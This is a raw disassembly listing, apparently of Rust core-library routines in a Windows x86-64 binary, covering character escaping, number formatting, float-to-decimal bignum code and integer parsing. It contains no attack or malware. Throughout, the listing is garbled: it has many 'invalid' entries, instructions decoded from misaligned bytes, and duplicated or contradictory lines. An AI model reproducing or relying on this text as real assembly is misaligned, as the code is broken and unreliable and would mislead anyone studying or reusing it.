and al, 0x38
mov r15, qword [rsp + 0x40]
and al, 0x40
jmp 0x1400401cf
jne case.0x14003cfd9.16
mov r13, rdx
invalid
mov r8, rax
jmp 0x1400401cf
lea r8, str.librarycore_srcescape.rs
or dword [rax], eax
mov edx, 0xa
mov rcx, r13
call fcn.1400a4430
invalid
add byte [rdi], cl
invalid
invalid
or ecx, dword [rax - 0x73]
add eax, 0x902e0
lea rax, str.librarycore_src_fmtmod.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, r13
mov r9, r15
call fcn.1400a4aa0
ud2
lea rax, str.librarycore_src_fmtmod.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov r8, r13
mov r9, rdx
call fcn.1400a4aa0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
mov rdi, rdx
mov rsi, rcx
cmp edx, 0x27
ja case.0x14003cfd9.55
invalid
sbb al, 0x89
clc
mov eax, edi
lea rcx, [0x1400e6c4c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov word [rsi], 0x305c
jmp 0x140040418
invalid
add byte [rbx + 0x48755cff], al
cmp edi, 0x5c
jne case.0x1400402b0.1
mov word [rsi], 0x5c5c
pop rsp
jmp 0x140040418
add byte [rax], al
mov word [rsi], 0x745c
jmp 0x140040418
je 0x1400402ba
mov word [rsi], 0x6e5c
outsb dx, byte [rsi]
jmp 0x140040418
mov word [rsi], 0x725c
jmp 0x140040418
test r8d, 0x10000
add byte [rax], al
add dword [rax], eax
je case.0x1400402b0.1
mov word [rsi], 0x225c
jmp 0x140040418
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 9], al
test r8d, 0x100
test r8d, 0x100
jne 0x140040413
test r8b, 1
je 0x14004031a
mov ecx, edi
call fcn.140040b30
test al, al
jne 0x140040323
cmp edi, 0x20
jae 0x1400403ce
mov byte [rsp + 0x40], 0
mov word [rsp + 0x3e], 0
mov byte [rsp + 0x47], 0x7d
mov ecx, edi
shr ecx, 0x14
and ecx, 0xf
lea rax, [0x1400df543]
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x41], cl
mov ecx, edi
shr ecx, 0x10
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x42], cl
mov ecx, edi
shr ecx, 0xc
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x43], cl
mov ecx, edi
shr ecx, 8
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x44], cl
mov ecx, edi
shr ecx, 4
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x45], cl
mov ecx, edi
and ecx, 0xf
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x46], al
or edi, 1
bsr eax, edi
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rsp + rax + 0x3e], 0x7b
mov word [rsp + rax + 0x3c], 0x755c
movzx eax, word [rsp + 0x46]
mov word [rsi + 8], ax
mov rax, qword [rsp + 0x3e]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x140040426
cmp edi, 0x7f
jb 0x1400404fc
cmp edi, 0x10000
jae 0x14004042d
lea rax, [0x1400d0f25]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0x12f
mov qword [rsp + 0x20], 0x11f
lea rdx, [0x1400d0db6]
lea r9, [0x1400d0e06]
mov r8d, 0x28
jmp 0x140040467
mov word [rsi], 0x275c
mov qword [rsi + 2], 0
mov word [rsi + 0xa], 0x200
add rsp, 0x48
pop rdi
pop rsi
ret
cmp edi, 0x20000
jae 0x14004047b
lea rax, [0x1400d0bf4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0x1c2
mov qword [rsp + 0x20], 0xc4
lea rdx, [0x1400d0ad8]
lea r9, str._f__NO
mov r8d, 0x2c
mov ecx, edi
call fcn.140040c70
test al, al
je 0x140040323
jmp 0x1400404fc
lea eax, [rdi - 0xe01f0]
cmp eax, 0x2fe10
jb 0x140040323
movd xmm0, edi
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x1400a9610]
pxor xmm0, xmmword [0x1400a9620]
movdqa xmm1, xmmword [0x1400a9630]
pcmpgtd xmm1, xmm0
movmskps eax, xmm1
test al, al
jne 0x140040323
lea eax, [rdi - 0x3134b]
cmp eax, 5
jb 0x140040323
lea eax, [rdi - 0x323b0]
cmp eax, 0xadd50
jb 0x140040323
mov eax, edi
and eax, 0xffffffe0
cmp eax, 0x2a6e0
je 0x140040323
mov eax, edi
and eax, 0xfffffffe
cmp eax, 0x2b81e
je 0x140040323
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x140040426
int1
mov edx, 0x27
mov r14, rax
call rax
test al, al
je 0x1400409d5
mov al, 1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov edx, dword [rdi]
lea rcx, [rsp + 0x28]
mov r8d, 0x101
call fcn.140040290
cmp byte [rsp + 0x28], 0x80
jne 0x140040a46
mov bl, 0x80
jmp 0x140040a21
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x1400409c9
cmp bl, 0x80
je 0x140040a00
movzx edi, byte [rsp + 0x32]
cmp dil, byte [rsp + 0x33]
jae 0x140040a79
lea eax, [rdi + 1]
mov byte [rsp + 0x32], al
cmp dil, 0xa
jae 0x140040a90
movzx edx, byte [rsp + rdi + 0x28]
jmp 0x140040a17
movzx ebx, byte [rsp + 0x33]
movzx edi, byte [rsp + 0x32]
cmp rdi, rbx
jae 0x140040a79
lea eax, [rdi + 1]
mov byte [rsp + 0x32], al
cmp rdi, 9
ja 0x140040a90
movzx edx, byte [rsp + rdi + 0x28]
mov rcx, rsi
call r14
inc rdi
test al, al
je 0x140040a50
jmp 0x1400409c9
mov rcx, rsi
mov edx, 0x27
mov rax, r14
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
mov rcx, rdi
call fcn.1400a4430
ud2
and dh, al
and al, 0x28
xor byte [rbx + rcx*4 + 0x56], cl
adc byte [rax - 0x75], cl
sbb byte [rbp + 0x27840fc0], r8b
add al, byte [rax]
add byte [rbp - 0x7b], cl
test edx, edx
mov r11d, 9
test edx, edx
mov r11d, 9
cmovne r11, rcx
test r11, r11
je 0x140041a61
xor edx, edx
div r9d
add al, 0x30
mov byte [rsp + 0x20], al
test edx, edx
je 0x140041a89
mov r15d, r9d
mov r12d, 0xcccccccd
imul r12, r15
shr r12, 0x23
cmp r11, 1
je 0x1400419f9
cmp r9d, 0xa
jb 0x140041d77
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x21], al
test edx, edx
je 0x140041a91
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x1400419f9
div esp
add al, 0x30
mov byte [rsp + 0x27], al
test dx, dx
je 0x140041ac1
imul r12, r15, 0x55e63b89
push rbp
shr r12, 0x39
cmp r11, 8
jne 0x140041ac9
or byte [rdi], cl
test ebx, edx
add byte [rax], al
add byte [rdi], cl
mov bh, 0xd2
movzx edx, dx
mov qword [rsp + 0x30], r11
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x140041aef
ret 0x820f
lea rax, [r11 - 1]
lea eax, [rbx - 1]
mov edx, 0x30
nop word cs:[rax + rax]
mov r15, rax
movzx r9d, byte [rsp + rax + 0x20]
lea r12d, [r9 + 1]
add rax, 0xffffffffffffffff
setb bpl
movzx r12d, r12b
cmp r9b, 0x39
cmovae r12d, edx
mov byte [rsp + r15 + 0x20], r12b
jb 0x140041a4d
test bpl, bpl
jne 0x140041a20
invalid
rol dword [rcx - 0x80], cl
stc
cmp byte [rdi], cl
xchg byte [rax - 0x15000000], bl
invalid
cmp r9b, 0x38
jbe 0x140041aef
jmp 0x140041a77
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
lea edx, [r9 + r9*4]
lea edx, [rcx + rcx*4]
cmp edx, eax
jbe 0x140041a77
xor r11d, r11d
jmp 0x140041aef
inc r8
jne 0x140041aef
mov qword [rsp + 0x38], 0
mov al, 1
jmp 0x140041aff
mov r11d, 1
jmp 0x140041aea
mov r11d, 2
jmp 0x140041aea
add byte [rax], al
add bl, ch
xor dword [rcx - 0x45], eax
invalid
mov r11d, 8
jmp 0x140041aea
cmp r9d, 0x5f5e100
jb 0x140041d77
add al, byte [rax]
invalid
stc
add cl, ah
cmc
add eax, 0x2a1820f
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx + 0x66d231d0], cl
div r12d
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x28], al
mov r11d, 9
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rsp + 0x48], r9
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x80], rdx
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x90], rdx
and al, 0x90
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x60
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x60
mov qword [rsp + 0x98], rdx
cmp qword [rsi], 0
je 0x140041cc9
pop rsi
add dword [rax], eax
invalid
pop rsi
add dword [rax], eax
add byte [rax - 0x7d], cl
sti
add dword [rbp + 7], esi
jne case.0x14003cbdd.83
cmp rbx, 1
jne case.0x14003cbdd.83
xor r15d, r15d
xor edx, edx
jmp 0x140041be0
mov rdx, rbx
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x1400a95c0]
movq mm1, qword [0x1400a95c0]
movq mm1, qword [0x1400a95c0]
movdqa xmm2, xmmword [0x1400a95d0]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
movzx ebp, word [r14 + r15]
movd xmm3, ebp
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x140041ba0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x140041bf7
nop
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
cmp byte [rsi + rdx], 0xc0
cmp byte [rsi + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x140041be0
mov r14, qword [rsi + 8]
add r15, rdi
mov edx, 0x14
test al, al
jne 0x140041c94
test r8, r8
je 0x140041c8f
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov edx, 0xbdedd5bf
invalid
invalid
out 0xdb, al
mov rax, r8
mul rdx
shr rdi, 0xa
shr edi, 0xa
mov edx, 0xbdedd5bf
invalid
shr edi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
add byte [rdi + 0xa], bh
add byte [rdi + 0xa], bh
cmovb edi, eax
clc
cmovb rdx, r8
cmp rdx, 0x186a0
invalid
xchg byte [rcx], al
add byte [rdx + 0x1b], dh
movabs al, byte [0xeac1481b72000186]
add eax, 0x7843b849
mov ah, 0x71
invalid
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
inc rdx
jmp 0x140041c94
mov edx, 1
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, rdx
add r15, rcx
sub r14, r15
jbe 0x140041cc9
movzx eax, byte [rsi + 0x38]
lea rcx, [0x1400e6cec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.140041da0
jmp 0x140041d65
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x1400cfee0]
lea r8, str.librarycore_src_time.rsp_t_r_
mov edx, 0x19
call fcn.1400a4530
ud2
int3
jb 0x1400421ff
movzx ecx, al
lea r8d, [rcx + rcx*4]
mov dword [rsi - 0x73], eax
add al, 0xc1
mov dword [rsi - 0x73], eax
add al, 0xc1
shr r8d, 0xc
imul ecx, r8d, 0x64
sub al, cl
movzx eax, al
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x5d], ax
mov ecx, 0x24
mov eax, r8d
jmp 0x140042208
mov ecx, 0x26
cmp al, 0xa
jae 0x140042210
or al, 0x30
mov byte [rsp + rcx + 0x38], al
jmp 0x140042225
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x5d], ax
mov ecx, 0x25
lea rax, [rsp + rcx]
add rax, 0x38
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.14003d720
nop
add rsp, 0xb8
ret
sub byte [rax - 0x73], cl
adc eax, 0x8ef07
mov r8d, 0xd
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x86
xchg byte [rax], al
add byte [rax], al
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x86
xchg byte [rax], al
add byte [rax], al
xchg byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e0b6b]
mov ch, 0xe8
or dword [rax], eax
mov ch, 0xe8
or dword [rax], eax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
call fcn.14003fab0
cmp byte [rsp + 0x31], 0
xor dword [rax], eax
xor dword [rax], eax
movzx eax, byte [rsp + 0x30]
je 0x140042317
test al, al
mov al, 1
jne 0x140042317
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne case.0x14004753d.163
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400db5bf]
mov r8d, 2
jmp 0x140042314
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e13db]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x40
pop rsi
ret
int3
int3
mov ecx, edx
movzx eax, byte [rdx]
cmp eax, 0x2d
je 0x140042389
cmp eax, 0x2b
jne 0x140042395
dec r8
je 0x14004238f
inc r9
jmp 0x140042395
cmp r8, 1
cmp eax, 1
jne 0x140042395
mov byte [rcx + 1], 1
jmp 0x14004240a
cmp r8, 0x11
cmp eax, 0x11
jae 0x1400423ca
xor edx, edx
xor eax, eax
nop
movzx r10d, byte [r9 + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x14004238f
lea rax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
cmp r8, rdx
jne 0x1400423a0
mov qword [rcx + 8], rax
xor eax, eax
jmp 0x14004240c
xor r10d, r10d
mov r11d, 0xa
xor eax, eax
nop word cs:[rax + rax]
cmp r8, r10
je 0x1400423c2
movzx esi, byte [r9 + r10]
mul r11
mul ebx
mul ebx
seto dl
add esi, 0xffffffd0
cmp esi, 9
ja 0x14004238f
test dl, dl
jne 0x140042406
mov edx, esi
inc r10
add rax, rdx
sal byte [rbx - 0x26], 1
sal byte [rbx - 0x26], 1
mov byte [rcx + 1], 2
mov al, 1
mov byte [rcx], al
pop rsi
ret
push rbp
push rbx
sub rsp, 0x48
mov r8, rdx
mov rsi, rcx
cmp qword [rcx], 0
je 0x140042470
invalid
mov r15, qword [rsi + 8]
mov rdx, qword [r8]
adc byte [rcx - 0x75], cl
pop rax
or byte [rbp - 0x75], cl
jo 0x14004244b
adc byte [rcx - 0x75], cl
pop rax
or byte [rbp - 0x75], cl
jo 0x14004244b
mov r13, qword [r8 + 0x18]
mov qword [rsp + 0x28], rdx
sbb byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x38], esi
je 0x140042471
cmp byte [rcx + rcx*4 + 0x6c], cl
and al, 0x40
mov qword [rsp + 0x40], r13
mov ebp, dword [rsi + 0x30]
movzx r12d, byte [rsi + 0x38]
cmp dh, dh
xor al, 8
jne 0x14004248d
mov edi, ebp
mov eax, r12d
test r13, r13
jne 0x1400424de
jmp 0x14004256e
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp case.0x14007fe84.197
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8, rbx
fdivr st(7)
push rax
sbb byte [rax + rax*8 + 0x155850f], al
ror byte [rdi], 0x85
push rbp
add dword [rax], eax
invalid
fdivr st(7)
push rax
sbb byte [rax + rax*8 + 0x155850f], al
ror byte [rdi], 0x85
push rbp
add dword [rax], eax
invalid
ror byte [rdi], 0x85
push rbp
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea eax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
xor eax, eax
sub r15, rbx
cmovb r15, rax
mov dword [rsi + 0x30], 0x30
add byte [rax], al
add byte [rax], al
add dh, al
cmp byte [rcx], r8b
mov byte [rsi + 0x38], 1
mov al, 1
mov edi, 0x30
xor ebx, ebx
test r13, r13
in eax, dx
in eax, dx
je 0x14004256e
shl r13, 3
lea rcx, [r13*2]
add byte [rax], al
add byte [rax], al
add rcx, r13
xor edx, edx
jmp 0x140042511
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8, qword [r14 + rdx + 0x10]
add rbx, r8
add ebx, eax
add ebx, eax
add rdx, 0x18
cmp rcx, rdx
je 0x14004256e
movzx r8d, word [r14 + rdx]
test r8, r8
je 0x140042550
cmp r8d, 1
jne 0x140042500
mov r8, qword [r14 + rdx + 8]
jmp 0x140042505
sub r15, rbx
jbe 0x14004258f
movzx r13d, al
lea rax, [0x1400e6cfc]
movsxd rcx, dword [rax + r13*4]
add rcx, rax
jmp rcx
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x28]
and al, 0x28
call case.0x14007fe84.197
mov dword [rsi + 0x30], ebp
mov byte [rsi + 0x38], r12b
cmp bl, ch
push rax
mov al, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
iretd
mov r8, qword [r8 + 8]
or byte [rbp - 0x7b], cl
invalid
iretd
or byte [rbp - 0x7b], cl
sal byte [rbp + rdx + 0x48], 0x8b
je 0x140042687
invalid
invalid
je 0x140042687
mov rdx, qword [rbx]
mov rcx, rdi
adc ecx, dword [rax - 0x77]
stc
call qword [rsi + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140042885
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
sbb byte [r8 - 0x7b], cl
ror byte [rdi], 0x84
out dx, eax
add dword [rax], eax
add byte [rbx + rcx*4 + 0x63], cl
adc byte [rax - 0x73], cl
add al, 0x40
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x140042883
mov r12, qword [rbx + 0x10]
lea rax, [rax + rax*2]
lea r13, [r12 + rax*8]
lea rbx, str.0000000000000000000000000000000000000000000000000000000000000000
lea r14, [rsp + 0x20]
jmp 0x1400426d5
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
call qword [rsi + 0x18]
test al, al
jne 0x14004287f
add r12, 0x18
cmp r12, r13
je 0x140042883
invalid
scasb al, byte [rdi]
add dword [rax], eax
invalid
test byte [rsi + 0x41000001], ch
movzx eax, word [rsp]
add byte [rcx + 0xf], al
mov bh, 4
and al, 0x48
test eax, eax
movzx eax, word [r12]
test rax, rax
je 0x140042740
cmp eax, 1
jne 0x1400426b0
movzx eax, word [r12 + 2]
mov byte [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
movzx ecx, word [r12]
test rcx, rcx
je 0x140042797
add eax, dword [rax]
add byte [rax], al
jmp 0x1400427da
add byte [rdi], cl
invalid
mov r15, qword [r12 + 8]
cmp r15, 0x41
jb 0x140042772
mov rbp, qword [rsi + 0x18]
mov ebp, dword [rsi + 0x18]
nop
mov r8d, 0x40
mov rcx, rdi
mov rdx, rbx
call rbp
test al, al
jne 0x14004287f
add r15, 0xffffffffffffffc0
cmp r15, 0x40
ja 0x140042750
jmp 0x14004277f
test r15, r15
je 0x1400426c8
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call rbp
test al, al
je 0x1400426c8
jne 0x1400427e3
lea rdx, [rsp + rcx]
adc al, 0xc
add rdx, 0x20
jmp 0x14004280e
ret 0xeb20
stc
adc byte [rdi], ah
add byte [rax], al
add byte [rcx + 5], bh
add byte [rcx + 5], bh
add byte [rax], al
sbb rcx, 0
test cl, 1
je 0x1400427ba
lea rdx, [rsp + 0x1f]
add rdx, rcx
movzx r8d, ax
movzx eax, ax
movzx eax, ax
imul r8d, r8d, 0xcccd
imul eax, eax, 0xcccd
shr r8d, 0x13
lea r9d, [r8 + r8]
or al, 0
lea r9d, [r9 + r9*4]
or al, 0x89
or al, 0x89
sub eax, r9d
or al, 0x30
mov byte [rsp + rcx + 0x1f], al
mov eax, r8d
mov r8d, 1
cmp rcx, 1
je 0x140042874
nop word [rax + rax]
movzx r8d, ax
imul r9d, r8d, 0xcccd
shr r9d, 0x13
lea r10d, [r9 + r9]
lea r10d, [r10 + r10*4]
sub eax, r10d
or al, 0x30
mov byte [rdx - 1], al
imul eax, r9d, 0x199a
shr eax, 0xf
and eax, 0xfffffffe
lea eax, [rax + rax*4]
sub r9d, eax
or r9b, 0x30
mov byte [rdx - 2], r9b
add rdx, 0xfffffffffffffffe
shr r8d, 2
imul eax, r8d, 0x147b
sar byte [rbx + 0x14], 0
add cl, al
invalid
invalid
sar byte [rbx + 0x14], 0
add cl, al
call 0x1323d7480
cmp rdx, r14
cmp rdx, r14
jne 0x140042820
mov r8, rcx
mov rcx, rdi
mov rdx, r14
jmp 0x1400426bd
invalid
invalid
invalid
invalid
mov al, 1
jmp 0x140042885
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
add eax, 0x8dc6b
mov edx, 5
add byte [rdx + 5], bh
call fcn.1400a44b0
ud2
invalid
sbb al, 6
add byte [rdi], cl
or ecx, esp
int3
int3
sub rsp, 0x7f8
mov r15, r9
mov r13, rcx
movq rax, xmm1
mov r12, rax
shr r12, 0x34
and r12d, 0x7ff
lea rcx, [rax + rax]
movabs r9, 0x1ffffffffffffe
and r9, rcx
movabs rcx, 0xfffffffffffff
and rcx, rax
movabs rdx, 0x10000000000000
lea rbp, [rcx + rdx]
test r12d, r12d
cmove rbp, r9
ucomisd xmm1, xmm1
jp case.0x1400356f8.100
movabs r9, 0x7ff0000000000000
xor r10d, r10d
mov r11, rax
and r11, r9
setne r10b
lea rsi, [r10*2 + 2]
cmp r11, r9
mov r9d, 1
cmovne r9, rsi
invalid
add r10, 3
add ecx, dword [rax - 0x7b]
leave
cmove r10, r9
dec r10
lea rcx, [0x1400e6d0c]
lea ecx, [0x1400e6d0c]
or al, byte [rax]
movsxd r9, dword [rcx + r10*4]
or al, 0x91
add r9, rcx
jmp r9
mov cl, 3
jmp 0x14004296a
mov cl, 4
jmp 0x1400429b1
add r12d, 0xfffffbcd
test bpl, 1
sete cl
jmp 0x1400429b1
test bpl, 1
sete cl
lea r9, [rbp*2]
xor r10d, r10d
cmp rbp, rdx
movabs rbp, 0x40000000000000
cmovne rbp, r9
sete r10b
movzx r12d, r12w
sub r12d, r10d
add r12d, 0xfffffbcc
add cl, 0xfe
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140042a60
mov r9, rax
shr r9, 0x3f
test rax, rax
lea rax, [0x1400db341]
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
cmovs rdx, rax
lea r10, [0x1400d007a]
cmovs r10, rax
test r8b, r8b
cmove r10, rdx
mov edx, 1
cmovne r9, rdx
cmp cl, 1
je 0x140042aa1
movzx eax, cl
cmp eax, 2
jne 0x140042acb
mov word [rsp + 0x158], 2
test r15, r15
je 0x140042cd7
mov word [rsp + 0x158], 2
lea rax, [0x1400d007b]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
mov edx, 1
lea rax, [rsp + 0x158]
lea r10, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
xor r9d, r9d
jmp 0x140043d7f
mov word [rsp + 0x158], 2
lea rax, [0x1400d007e]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
jmp 0x140042cf2
test r12w, r12w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rdi, r12w
imul rcx, rdi
cmp rcx, 0x3ec0
jae 0x140043e35
lea rax, [rsp + 0x158]
jmp 0x140043d7f
mov edi, dword [rsp + 0x54]
jmp 0x140042f6a
mov word [rsp + 0x158], 2
test r15, r15
je 0x1400433a7
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], r15
mov edx, 2
jmp 0x1400433c7
mov rax, rbp
dec rax
je 0x140042f7c
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1400a44b0
ud2
lea rax, [0x1400db342]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
mov edx, 1
lea rax, [rsp + 0x158]
jmp 0x140043d6f
cmp rcx, 0x29
jae 0x14004317b
mov r11, rdx
inc rdx
lea rax, [rcx*4]
xor esi, esi
nop word cs:[rax + rax]
cmp rax, rsi
je 0x140043bc3
cmp dword [rsp + rsi + 0xb0], 0
lea rsi, [rsi + 4]
je 0x1400435b0
mov rax, qword [rsp + 0x78]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x140043e1f
xor byte [rdx - 0x78], al
mov ah, 0x1c
clc
add eax, dword [rax]
add byte [rax - 0x7b], cl
test ecx, ecx
test ecx, ecx
je 0x140043b34
lea r11, [rcx*4]
xor esi, esi
xor eax, eax
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
mov r8d, dword [rsp + rsi + 0xb0]
lea r8, [r8 + r8*4]
lea rax, [rax + r8*2]
mov dword [rsp + rsi + 0xb0], eax
shr rax, 0x20
add rsi, 4
cmp r11, rsi
jne 0x140043af0
test rax, rax
mov rsi, qword [rsp + 0x60]
je 0x140043b3b
cmp rcx, 0x27
ja 0x140043dd8
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x140043b3b
xor ecx, ecx
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x150], rcx
cmp rdx, rbp
jne 0x140043589
mov al, 1
jmp 0x140043b54
cmp r12, 0x29
jae 0x140043e69
test r12, r12
je 0x140043bf4
lea r8, [r12*4]
xor r9d, r9d
xor edx, edx
nop word cs:[rax + rax]
mov r10d, dword [rsp + r9 + 0x200]
lea r10, [r10 + r10*4]
add r10, rdx
mov rdx, r10
shr rdx, 0x20
mov dword [rsp + r9 + 0x200], r10d
add r9, 4
cmp r8, r9
jne 0x140043b80
mov rdx, qword [rsp + 0x60]
cmp rbp, rdx
ja case.0x14003e0a6.57
mov r8, rbp
sub r8, r11
je 0x140043d42
xor r12d, r12d
mov qword [rsp + 0x2a0], r12
cmp rcx, r12
cmova r12, rcx
cmp r12, 0x29
jae 0x140043e69
clc
add eax, dword [rax]
